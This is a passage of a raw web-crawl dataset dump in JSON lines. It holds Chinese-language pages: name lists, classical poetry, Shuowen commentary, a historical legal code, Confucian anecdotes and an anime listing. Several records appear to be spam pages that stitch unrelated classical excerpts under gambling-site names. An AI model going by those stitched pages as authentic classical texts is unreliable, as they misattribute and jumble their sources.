殷海玲 殷海萍 殷海琴 殷海琼 殷海霞 殷海妍 殷海艳 殷海燕 殷海莹 殷函琳 殷晗茹 殷晗玉 殷晗悦 殷涵琳 殷涵秀 殷涵娅 殷涵悦 殷寒悦 殷韩雪 殷菡婧 殷菡琳 殷菡文 殷航娜 殷豪洁 殷豪婷 殷壕婷 殷好婷 殷好文 殷好艳 殷好英 殷昊婷 殷浩冉 殷浩婷 殷浩文 殷皓琳 殷皓婷 殷皓文 殷皓玉 殷颢文 殷禾芳 殷禾文 殷和梅 殷和文 殷和英 殷赫莉 殷鹤文 殷弘梅 殷弘颖 殷红芳 殷红红 殷红娟 殷红莉 殷红玲 殷红梅 殷红美 殷红妹 殷红萍 殷红琴 殷红霞 殷红艳 殷红燕 殷红英 殷红颖 殷红玉 殷红媛 殷宏莉 殷宏丽 殷宏梅 殷宏琴 殷宏艳 殷宏燕 殷宏颖 殷闳颖 殷泓梅 殷泓颖 殷洪莉 殷洪丽 殷洪梅 殷洪琴 殷洪霞 殷洪燕 殷洪英 殷洪玉 殷荭琴 殷虹婧 殷虹娟 殷虹丽 殷虹梅 殷虹颖 殷鸿莉 殷鸿丽 殷鸿梅 殷鸿琴 殷鸿霞 殷鸿颖 殷蕻梅 殷蕻琴 殷黉梅 殷厚玲 殷狐艳 殷华芳 殷华莉 殷华丽 殷华琳 殷华玲 殷华萍 殷华英 殷画秀 殷画悦 殷怀芳 殷怀文 殷欢妍 殷幻文 殷焕红 殷焕文 殷焕霞 殷凰玲 殷凰莹 殷凰颖 殷黄婷 殷辉玲 殷辉霞 殷卉莹 殷汇娟 殷汇嫣 殷会红 殷会娟 殷会玲 殷会婷 殷惠芳 殷惠芬 殷惠娟 殷惠梅 殷惠萍 殷惠琴 殷惠蓉 殷惠文 殷惠英 殷惠玉 殷慧芳 殷慧莉 殷慧丽 殷慧琳 殷慧婷 殷慧雪 殷慧英 殷慧莹 殷慧颖 殷蕙蓉 殷蕙怡 殷霍艳 殷积文 殷吉茹 殷吉文 殷吉玉 殷纪梅 殷季芳 殷季萍 殷继红 殷继萍 殷加怡 殷加玉 殷佳婵 殷佳莉 殷佳丽 殷佳琳 殷佳玲 殷佳梅 殷佳美 殷佳茹 殷佳文 殷佳秀 殷佳雪 殷佳妍 殷佳怡 殷佳莹 殷佳颖 殷佳玉 殷佳媛 殷佳悦 殷家莉 殷家萍 殷家茹 殷家妍 殷家怡 殷家玉 殷家悦 殷嘉芳 殷嘉红 殷嘉莉 殷嘉丽 殷嘉琳 殷嘉玲 殷嘉梅 殷嘉美 殷嘉妹 殷嘉娜 殷嘉萍 殷嘉倩 殷嘉琴 殷嘉蓉 殷嘉婷 殷嘉文 殷嘉雪 殷嘉瑶 殷嘉怡 殷嘉莹 殷嘉颖 殷嘉玉 殷嘉媛 殷嘉悦 殷俭玲 殷建芳 殷建芬 殷建红 殷建花 殷建洁 殷建玲 殷建美 殷建妹 殷建萍 殷建琼 殷建蓉 殷建霞 殷建英 殷剑红 殷剑萍 殷剑琴 殷剑霞 殷健英 殷健颖 殷江莉 殷江萍 殷江艳 殷绛雪 殷娇蓉 殷娇燕 殷杰琼 殷杰文 殷洁莉 殷洁文 殷洁瑶 殷婕娜 殷婕婷 殷捷婷 殷介芬","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-74-2.html","date":"2021-09-21T11:52:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00442.warc.gz","language":"lzh","language_score":0.7034519911,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7034519910812378, \"nan_Hani_score\": 0.29652324318885803}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.703,"perplexity_score":500.0,"cluster_detection":1} +{"text":"謂曲輈而有藩蔽之車也。曲輈者、戴先生曰。小車謂之輈。大車謂之轅。人所乗欲其安。故小車暢轂梁輈。大車任載而已。故短轂直轅。艸部曰。藩者、屛也。服䖍注左傳、薛綜解東京賦、劉昭注輿服志皆云車有藩曰軒。皆同許說。許於藩車上必云曲輈者、以輈穹曲而上。而後得言軒。凡軒舉之義引申於此。曲輈、所謂軒轅也。杜注左傳於軒皆曰大夫車。定九年曰。犀軒、卿車。\n虚言切。十四部。藩俗作轓。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.shuowen.org\/view\/9466?pinyin=xuan","date":"2021-12-03T03:27:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00020.warc.gz","language":"lzh","language_score":0.405761838,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.40576183795928955, \"cmn_Hani_score\": 0.34632208943367004, \"jpn_Jpan_score\": 0.151495561003685, \"wuu_Hani_score\": 0.018598129972815514, \"zxx_Latn_score\": 0.01762055605649948, \"yue_Hani_score\": 0.015358636155724525}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.406,"perplexity_score":500.0,"cluster_detection":1} +{"text":"旱雲賦\n惟昊天之大旱兮,失精和之正理;遙望白雲之蓬勃兮,滃滃澹澹而妄止。運清濁之澒洞兮,正重沓而并起;嵬隆崇以崔巍兮,時仿佛而有似。屈卷輪而中天兮,象虎驚與龍駭;相摶據而俱興兮,妄儷倚而時有。遂積聚而合沓兮,相紛薄而慷慨;若飛翔而從橫兮,揚波怒而澎濞。正雲布而雷動兮,相擊沖而破碎;或窈窕而四塞兮,誠若雨而不墜。\n陰陽分而不相得兮,更惟貪婪而狼戾。終風解而霧散兮,陵遲而堵潰;或深潛而閉藏兮,爭離而并逝。廓蕩蕩其若條兮,日昭昭而無穢。隆盛暑而無聊兮,煎砂石而爛渭;湯風至而含熱兮,羣生悶滿而愁憒。畎畝枯槁而失澤兮,壤石相聚而為害;農夫垂拱而無聊兮,釋其耰鉏而下涕。悲疆畔之遇害兮,痛皇天之靡惠;惜稚稼之旱夭兮,離天災而不遂。\n懷怨心而不能已兮,竊托咎於在位。獨不聞唐虞之積烈兮,與三代之風氣;時俗殊而不還,恐功久而壞敗。何操行之不得兮,政治失中而違節;陰氣辟而留滯兮,厭暴至而沈沒。嗟乎!惜旱大劇,何辜於天;無恩澤忍兮,嗇夫何寡德矣。既已生之不與福矣,來何暴也,去何躁也,孳孳望之,其可悼也。憭兮慓兮,以鬱怫兮;念思白雲,腸如結兮。終怨不雨,甚不仁兮;布而不下,甚不信兮。白雲何怨?奈何人兮。\n|本作品在全世界都属于公有领域,因为作者逝世已经超过100年,并且于1927年1月1日之前出版。|","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/zh.wikisource.org\/wiki\/%E6%97%B1%E9%9B%B2%E8%B3%A6","date":"2022-08-15T22:58:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572212.96\/warc\/CC-MAIN-20220815205848-20220815235848-00354.warc.gz","language":"lzh","language_score":0.5659338832,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.565933883190155, \"cmn_Hani_score\": 0.1933721899986267, \"nan_Hani_score\": 0.08402301371097565, \"zxx_Latn_score\": 0.022470686584711075, \"yue_Hani_score\": 0.02118038944900036, \"und_Tang_score\": 0.014898335561156273, \"wuu_Hani_score\": 0.011370009742677212}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.552,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚辭哀時命 西漢 莊忌\n哀時命之不及古人兮,夫何予生之不遘時。往者不可扳援兮,徠者不可與期。志憾恨而不逞兮,杼中情而屬詩。夜炯炯而不寐兮,懷隱憂而歷茲。心鬱鬱而無告兮,眾孰可與深謀?欿愁悴而委惰兮,老冉冉而逮之。居處愁以隱約兮,志沉抑而不揚。道壅塞而不通兮,江河廣而無梁。願至崑崙之懸圃兮,釆鍾山之玉英。擥瑤木之橝枝兮,望閬風之板桐。弱水汩其為難兮,路中斷而不通。勢不能凌波以徑度兮,又無羽翼而高翔。然隱憫而不達兮,獨徙倚而彷徉。悵惝罔以永思兮,心紆𨋎而增傷。倚躊躇以淹留兮,日飢饉而絕糧。廓抱景而獨倚兮,超永思乎故鄉。廓落寂而無友兮,誰可與玩此遺芳?白日晼晚其將入兮,哀余壽之弗將。車既弊而馬罷兮,蹇邅徊而不能行。身既不容於濁世兮,不知進退之宜當。\n冠崔嵬而切雲兮,劍淋離而從橫。衣攝葉以儲與兮,左袪挂於榑桑。右袵拂於不周兮,六合不足以肆行。上同鑿枘於伏戲兮,下合矩矱於虞唐。願尊節而式高兮,志猶卑夫禹湯。雖知困其不改操兮,終不以邪枉害方。世並舉而好朋兮,壹斗斛而相量。眾比周以肩迫兮,賢者遠而隱藏。為鳳皇作鶉籠兮,雖翕翅其不容。靈皇其不寤知兮,焉陳詞而効忠?俗嫉妬而蔽賢兮,孰知余之從容?願舒志而抽馮兮,庸詎知其吉凶?璋珪雜於甑窐兮,隴廉與孟娵同宮。舉世以為恆俗兮,固將愁苦而終窮。幽獨轉而不寐兮,惟煩懣而盈匈。䰟眇眇而馳騁兮,心煩冤之𢥞𢥞,志欿憾而不憺兮,路幽昧而甚難。\n塊獨守此曲隅兮,然欿切而永歎。愁修夜而宛轉兮,氣涫𩰾其若波。握剞劂而不用兮,操規榘而無所施。騁騏驥於中庭兮,焉能極夫遠道?置猨狖於櫺檻兮,夫何以責其捷巧?駟跛鼈而上山兮,吾固知其不能陞。釋管晏而任臧獲兮,何權衡之能稱?箟簬雜於黀蒸兮,機蓬矢以䠶革。負檐荷以丈尺兮,欲伸要而不可得。外迫脅於機臂兮,上牽聯於矰隿。肩傾側而不容兮,固陿腹而不得息。務光自投於深淵兮,不獲世之塵垢。孰魁摧之可久兮,願退身而窮處。鑿山楹而為室兮,下被衣於水渚。霧露濛濛其晨降兮,雲依斐而承宇。虹霓紛其朝霞兮,夕淫淫而淋雨。怊茫茫而無歸兮,悵遠望此曠野。下垂釣於谿谷兮,上要求於僊者。與赤松而結友兮,比王僑而為耦。使梟楊先導兮,白虎為之前後。浮雲霧而入冥兮,騎白鹿而容與。\n魂眐眐以寄獨兮,汨徂往而不歸。處卓卓而日遠兮,志浩蕩而傷懷。鸞鳳翔於蒼雲兮,故矰繳而不能加。蛟龍潛於旋淵兮,身不挂於罔羅。知貪餌而近死兮,不如下游乎清波。寧幽隱以遠禍兮,孰侵辱之可為?子胥死而成義兮,屈原沉於汨羅。雖體解其不變兮,豈忠信之可化?志怦怦而內直兮,履繩墨而不頗。執權衡而無私兮,稱輕重而不差。摡塵垢之枉攘兮,除穢累而反真。形體白而質素兮,中皎潔而淑清。時猒飫而不用兮,且隱伏而遠身。聊竄端而匿迹兮,嗼𠴫默而無聲。獨便悁而煩毒兮,焉發憤而抒情。時曖曖其將罷兮,遂悶歎而無名。伯夷死於首陽兮,卒夭隱而不榮。太公不遇文王兮,身至死而不得逞。懷瑤象而佩瓊兮,願陳列而無正。生天𡒰之若過兮,忽爛漫而無成。邪氣襲余之形體兮,疾憯怛而萌生。願壹見陽春之白日兮,恐不終乎永年。","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/xn--5rtnx620bw5s.tw\/i\/i01\/14.htm","date":"2018-08-21T01:13:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221217901.91\/warc\/CC-MAIN-20180820234831-20180821014831-00476.warc.gz","language":"lzh","language_score":0.7094603777,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.7094603776931763, \"zxx_Latn_score\": 0.0522463321685791, \"nan_Hani_score\": 0.037531401962041855, \"und_Tang_score\": 0.02865619584918022, \"cmn_Hani_score\": 0.013596062548458576}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.266,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第432條 獄囚誣指平人\n1. 凡囚在禁誣指平人者 以誣告人論 其本犯罪重者 從重論.\n2. 若官吏鞫問獄囚 非法拷訊 故行敎令誣指平人者 以故入人罪論.\n3. 若追徵錢糧 逼令誣指平人代納者 計所枉徵財物 坐贓論 其物給主.\n4. 其被誣之人 無故稽留 三日不放回者 笞二十 每三日加一等 罪止杖六十.\n5. 若鞫囚而證佐之人不言實情 故行誣證 及化外人有罪 通事傳譯番語 不以實對 致罪有出入者 證佐人減罪人罪二等① 通事與同罪.②\n① 謂證佐人不說實情 出脫犯人全罪者 證佐人減犯人全罪二等 若增減其罪者 亦減犯人所得增減之罪二等之類.\n② 謂化外人本有罪 通事符同傳說 出脫全罪者 通事與犯人同得全罪 若將化外人罪名增減傳說者 以所增減之罪坐通事. 謂如化外人本招承杖六十 通事傳譯增作杖一百卽坐通事杖四十 又如化外人本招杖一百 通事傳譯減作笞五十 卽坐通事杖五十之類","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_160_0280_0010_0140","date":"2019-06-16T17:11:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998288.34\/warc\/CC-MAIN-20190616162745-20190616184745-00517.warc.gz","language":"lzh","language_score":0.5537195206,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5537195205688477, \"cmn_Hani_score\": 0.3367144465446472, \"nan_Hani_score\": 0.06899203360080719, \"jpn_Jpan_score\": 0.027165764942765236}","num_words":47,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":500.0,"cluster_detection":1} +{"text":"99真人\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n哀侯元年,与赵、魏分晋国。二年,灭郑,因徙都郑。\n郑庄以任侠自喜,脱张羽於戹,声闻梁楚之间。孝景时,为太子舍人。每五日洗沐,常置驿马安诸郊,存诸故人,请谢宾客,夜以继日,至其明旦,常恐不遍。庄好黄老之言,其慕长者如恐不见。年少官薄,然其游知交\n臣意曰:他所诊期决死生及所治已病众多,久颇忘之,不能尽识,不敢以对。\n将军路博德,平州人。以右北平太守从骠骑将军有功,为符离侯。骠骑死後,博德以卫尉为伏波将军,伐破南越,益封。其後坐法失侯。为彊弩都尉,屯居延,卒。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/m.x-yidc.com\/KWZNT20479.html","date":"2020-02-29T09:19:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875148850.96\/warc\/CC-MAIN-20200229083813-20200229113813-00063.warc.gz","language":"lzh","language_score":0.5384300351,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5384300351142883, \"cmn_Hani_score\": 0.25973060727119446, \"nan_Hani_score\": 0.08916229009628296, \"yue_Hani_score\": 0.016519924625754356, \"zxx_Latn_score\": 0.013681452721357346, \"wuu_Hani_score\": 0.012324203737080097}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.507,"perplexity_score":500.0,"cluster_detection":1} +{"text":"狮子会娱乐:{biaoti}\n狮子会娱乐:登陂阤之长阪兮,坌入曾宫之嵯峨。临曲江之隑州兮,望南山之参差。岩岩深山之谾々兮,通谷魌兮谽。汩淢噏习以永逝兮,注平皋之广衍。观众树之塕?兮,览之榛榛。东驰土山兮,北揭石濑。弥节容与兮,历吊二世。持身不谨兮,亡国失埶。信谗不寤兮,宗庙灭绝。呜呼哀哉!操行之不得兮,坟墓芜秽而不脩兮,魂无归而不食。夐邈绝而不齐兮,弥久远而愈鬐。精罔阆而飞扬兮,拾九天而永逝。呜呼哀哉!\n釐公元年,以汶阳鄪封季友。季友为相。\n温舒击东越还,议有不中意者,坐小法抵罪免。是时天子方欲作通天台而未有人,温舒请覆中尉脱卒,得数万人作。上说,拜为少府。徙为右内史,治如其故,奸邪少禁。坐法失官。复为右辅,行中尉事。如故操。\n子曰:\"由,诲汝知之乎!知之为知之,不知为不知,是知也。\"\n狮子会娱乐盖墨翟,宋之大夫,善守御,为节用。或曰并孔子时,或曰在其後。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/m.sjp66.com\/app\/1018\/21805802.html","date":"2020-02-18T12:11:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143695.67\/warc\/CC-MAIN-20200218120100-20200218150100-00103.warc.gz","language":"lzh","language_score":0.4934872687,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.49348726868629456, \"cmn_Hani_score\": 0.3931293189525604, \"wuu_Hani_score\": 0.026237793266773224, \"nan_Hani_score\": 0.024676896631717682, \"yue_Hani_score\": 0.02267639897763729, \"jpn_Jpan_score\": 0.010461465455591679}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门大三巴网上菲律宾华商亲述疫情求助电话不断停车场拟建临时医院\n十年,孝公卒,孝公弟潘因卫公子开方杀孝公子而立潘,是为昭公。昭公,桓公子也,其母曰葛嬴。\n子曰:\"若非武音,则何音也?\"\n二年,魏败韩于马陵,败赵于怀。三年,齐败我观。五年,与韩会宅阳。城武堵。为秦所败。六年,伐取宋仪台。九年,伐败韩于澮。与秦战少梁,虏我将公孙痤,取庞。秦献公卒,子孝公\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路\n宣公有太子与夷。十九年,宣公病,让其弟和,曰:\"父死子继,兄死弟及,天下通义也。我其立和。\"和亦三让而受之。宣公卒,弟和立,是为穆公。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/nr2n5.mpo3.com\/appjgxhd\/39648193.html","date":"2020-04-06T01:17:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371612531.68\/warc\/CC-MAIN-20200406004220-20200406034720-00372.warc.gz","language":"lzh","language_score":0.5130788088,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5130788087844849, \"cmn_Hani_score\": 0.3086669147014618, \"nan_Hani_score\": 0.08856412768363953, \"wuu_Hani_score\": 0.020382830873131752, \"yue_Hani_score\": 0.013416791334748268, \"zxx_Latn_score\": 0.011171018704771996}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.457,"perplexity_score":500.0,"cluster_detection":1} +{"text":"弗赖堡大学qs排名 www.chzvys.com.cn 名字是代表一個人的符號,每一個寶寶出生后,父母都是想為寶寶起個好名字,一個好名字不僅要聽著好聽,更要分析寶寶八字五行旺缺,根據寶寶五行生旺來起名字。那么如何為秦姓男寶寶起名呢?下面為秦姓父母分享一些好聽的名字,供各位參考。\n秦姓男寶寶名字分析\n姓名:秦錦振\n錦:形容有彩色花紋的絲織品,鮮明美麗。\n振:形容人振振有辭。\n姓名:秦斌啟\n斌:斌斌同\"彬彬\",形容彬彬有禮。\n啟:啟明。指太陽還沒出來的時候,出現在東方天空的金星。\n姓名:秦嘉輝\n嘉:形容善與美。\n輝:指閃射的光彩:光輝。滿室生輝?;曰?。\n秦姓男寶寶名字精選\n秦光曉 秦向洋 秦紹興 秦振學 秦守忠 秦靈松 秦召華 秦文竹 秦亦秋 秦其昌 秦殿坤 秦新宇 秦雙安 秦華升 秦龍偉 秦奇勝 秦金軍 秦億民 秦進勇 秦其山 秦春帆 秦詩忠 秦大茂 秦嘉生 秦金狀 秦漢周 秦軍區 秦言彬 秦秋東 秦銀松 秦耀兵 秦艷軍 秦銓輝 秦宗星 秦仁榮 秦光君 秦安達 秦紅友 秦建爭 秦???nbsp; 秦兆雷 秦文雋 秦訓清 秦彥志 秦田華 秦觀偉 秦玉佳 秦炳進 秦偉功 秦保武 秦炳雙 秦維智 秦恒泉 秦毅濤 秦凌順 秦尚旺 秦貴善 秦雨澤 秦雪有 秦章文 秦剛釗 秦晨新 秦益鴻 秦盛康 秦君炎 秦鳳巖 秦豐國 秦本茂 秦輝功 秦延敏 秦大敏 秦煒來 秦喜恒 秦?;?nbsp; 秦順勝 秦坤群 秦耀夫 秦鑫洋 秦欣亮 秦錦志 秦可勝 秦景岳 秦威艷 秦雙冰 秦麗靜 秦軍良 秦同江 秦宏賢 秦立光 秦一豪 秦常軍 秦維昆 秦煒欽 秦憲高 秦乃寧 秦燦升 秦欣友 秦宗禮 秦彬鈞 秦恩森\n好的寶寶名字需要符合寶寶命理,這樣對寶寶才會有所幫助。以上所述希望能幫到您,如果想為寶寶取符合命理的名字,可以找專業取名大師,幫寶寶取符合寶寶命局的好名字。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.chzvys.com.cn\/nanhai\/10613.html","date":"2020-04-07T22:46:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371806302.78\/warc\/CC-MAIN-20200407214925-20200408005425-00142.warc.gz","language":"lzh","language_score":0.9534859657,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9534859657287598, \"cmn_Hani_score\": 0.02462412603199482, \"wuu_Hani_score\": 0.011773696169257164}","num_words":115,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.967,"perplexity_score":500.0,"cluster_detection":1} +{"text":"季桓子以粟千鍾餼夫子。夫子受之而不辭。既而以頒門人之無者。子貢進曰、季孫以夫子貧故致粟。夫子受之而以施人無乃非季孫之意乎。子曰何。對曰季孫以為惠也。子曰然。吾得千鍾所以受而不辭者。為季孫之惠且以為寵也。夫受人財不以成富。與季孫之惠於一人。豈若惠數百人哉。 秦莊子死。孟武伯問於孔子。曰古者同寮有服乎。答曰然。同寮有相友之義。貴賤殊等。不為同官。聞諸老聃。昔者虢叔、閎夭、太顛、散宜生南宮适、五臣同寮比德以贊文武。及虢叔死四人者為之服朋友之服。古之達理者行之也。\n公父文伯死。室人有從死者。其母怒而不哭。相室諫之。其母曰孔子。天下之賢人也。不用於魯。退而去。是子素宗之而不能隨。今死而內人從死者二人焉。若此。於長者薄於婦人厚也。既而夫子聞之。曰季氏之婦尚賢哉。子路愀然對曰夫子亦好人之譽巳乎。夫子死而不哭。是不慈也。何善爾。子曰怒其子之不能隨賢。所以為尚賢者。吾何有焉。其亦善此而巳矣。\n衛出公使人問孔子曰、寡人之任臣無大小。一一自觀察之。猶復失人。何故。答曰如君之言。此即所以失之也。人既難知非言問所及。觀察所盡。且人君之慮者多。多慮則意不精。以不精之意。察難知之人。宜其有失也。君未之聞乎。昔者舜臣堯。官才任士。堯一從之。左右曰。人君用士。當自任耳目。而取信於人。無乃不可乎。堯曰吾之舉舜。巳耳目之矣。今舜所舉人。吾又耳目之。是則耳目人。終無巳巳也。君茍付可付。則巳不勞而賢才不失矣。 子貢問曰、昔孫文子以衛侯哭之不哀。知其將為亂。不敢舍其重器而行。盡寘諸戚而善晉大夫二十人。或稱其知。何如。孔子曰人知其為知也。吾未知其為知也。子貢曰敢問何謂也。子曰食其祿者必死其事。孫子知衛君之將不君。不念伏死以爭。而累規去就。尸利攜貳。非人臣也。臣而有不臣之心。明君所不赦。幸哉。孫子之以此免戮也。\n孔子使宰予使於楚。楚昭王以安車象","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/m2.guoxuedashi.com\/a\/384a\/11609l.html","date":"2021-01-23T21:23:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703538431.77\/warc\/CC-MAIN-20210123191721-20210123221721-00194.warc.gz","language":"lzh","language_score":0.5768177509,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5768177509307861, \"cmn_Hani_score\": 0.1995375156402588, \"nan_Hani_score\": 0.13447390496730804, \"wuu_Hani_score\": 0.028586048632860184, \"jpn_Jpan_score\": 0.023753803223371506}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.577,"perplexity_score":500.0,"cluster_detection":1} +{"text":"类型:日本 动画\n导演:外崎春雄\n演员:花江夏树 鬼头明里 下野纮 松冈祯丞 日野聪 平川大辅 石田彰 樱井孝宏 小西克幸 早见沙织 铃村健一 关智一 杉田智和 森川智之 佐藤利奈 三木真一郎 桑岛法子 本渡枫 大地叶 小原好美 古贺葵 小山力也 丰口惠美 榎木淳弥 伊濑茉莉也 笠间淳 千本木彩花 江口拓也 山村响 广濑裕也 高桥伸也 秋保佐永子 仲村宗悟 中惠光城\n介绍:该片基于吾峠呼世所著漫画《鬼灭之刃》创作而成,是2019年播出的TV动画的续篇,讲述灶门炭治郎和炼狱杏寿郎与下弦之壹魇梦作战的故事。","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/subhd.tv\/a\/517697","date":"2021-05-18T19:18:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991514.63\/warc\/CC-MAIN-20210518191530-20210518221530-00306.warc.gz","language":"lzh","language_score":0.5027961731,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5027961730957031, \"cmn_Hani_score\": 0.29816868901252747, \"jpn_Jpan_score\": 0.13317714631557465, \"wuu_Hani_score\": 0.03519779071211815, \"yue_Hani_score\": 0.023246781900525093}","num_words":38,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.513,"perplexity_score":500.0,"cluster_detection":1} +{"text":"中间带子的女孩名字什么好? 起名大全 • 2021年6月7日 • 八字起名 子珏 子昭 子煦 子歆 子婧 子韵 子迤 子荞 子亭 子葭 子娴子柔 子婵 子嫣 子畅 子杉 子茱 子叶 子芊 子蕊 子菱 子颦子黛 子霏 子桃 子梨 子荆 子评 子芃 子梦 子玫 子瑰 子琛 子璎 子瑜 子箴 子琼 子珂 子遥 子筠 子玥 子玢 子麟 子麒子凤 子凰 子泷 子娇 子筝 子昕 子晏 子烨 子馨 子音 子茵 子字起名字女孩子 赞 (0) 起名大全 0 扫码分享到微信 相关文章金庸最后一部武侠小说叫什么名字(金庸小说中的二十个顶级好名字,最让你念念不忘的又是哪一个)宝宝名字库:这400个清雅脱俗的名字,你\"Pick\"哪一个女孩子姓徐取什么名字好听(姓付的小女孩叫什么名字好听?)想要一些DNF好听的名字?你认为《热血高校》里,谁最的战斗力最强?傅姓在历史上最有名气的人是谁?","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.nhhongxing.cn\/bzqm\/10802.html","date":"2021-08-01T04:05:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154158.4\/warc\/CC-MAIN-20210801030158-20210801060158-00327.warc.gz","language":"lzh","language_score":0.4882263839,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48822638392448425, \"cmn_Hani_score\": 0.3812659680843353, \"nan_Hani_score\": 0.11848624050617218, \"jpn_Jpan_score\": 